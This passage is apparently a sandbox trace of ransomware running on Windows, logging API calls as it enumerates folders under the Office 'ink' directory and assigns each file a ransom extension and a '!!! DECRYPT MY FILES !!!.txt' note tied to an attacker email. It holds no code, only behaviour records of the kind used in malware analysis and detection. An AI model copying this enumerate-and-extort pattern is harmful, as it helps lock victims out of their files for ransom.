len=0x4c | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0114.126] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml") returned 0x4c [0114.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.126] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.126] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.127] GetProcessHeap () returned 0x630000 [0114.127] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699708, Size=0x28) returned 0x699b58 [0114.127] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.127] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0114.127] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0114.127] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\") returned 1 [0114.127] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\") returned 0x39 [0114.127] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.127] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.127] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f80 [0114.128] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.128] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.128] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 1 [0114.128] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui") returned 0x48 [0114.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.128] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.128] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.128] FindNextFileW (in: hFindFile=0x6d4f80, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.128] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0114.129] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0114.129] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\") returned 1 [0114.129] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\") returned 0x39 [0114.129] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.129] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5400 [0114.129] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.130] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.130] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 1 [0114.130] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui") returned 0x48 [0114.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.130] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.130] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.130] FindNextFileW (in: hFindFile=0x6d5400, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.130] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0114.130] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0114.131] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\", len=0x39 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\") returned 1 [0114.131] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\") returned 0x39 [0114.131] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.131] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5540 [0114.131] FindNextFileW (in: hFindFile=0x6d5540, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.131] FindNextFileW (in: hFindFile=0x6d5540, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0114.131] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui", len=0x48 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 1 [0114.131] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui") returned 0x48 [0114.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.131] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.131] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.132] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.132] FindNextFileW (in: hFindFile=0x6d5540, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.132] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0114.132] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0114.132] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat", len=0x42 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 1 [0114.132] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 0x42 [0114.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.132] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.132] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.132] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.133] GetProcessHeap () returned 0x630000 [0114.133] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699b58, Size=0x2c) returned 0x6ed6038 [0114.133] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0114.133] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\", len=0x44 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\") returned 1 [0114.133] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\") returned 0x44 [0114.133] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.133] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.133] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\HWRCustomization\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0114.133] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eba2ec1, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xa07693a9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6eba2ec1, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.133] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.134] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0114.134] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0114.134] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat", len=0x3f | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 1 [0114.134] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat") returned 0x3f [0114.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.134] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.134] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.134] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.134] GetProcessHeap () returned 0x630000 [0114.134] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6038, Size=0x30) returned 0x6ed6380 [0114.134] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe38781cd, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe38781cd, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10cb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0114.135] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat", len=0x41 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 1 [0114.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 0x41 [0114.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.135] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.135] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | 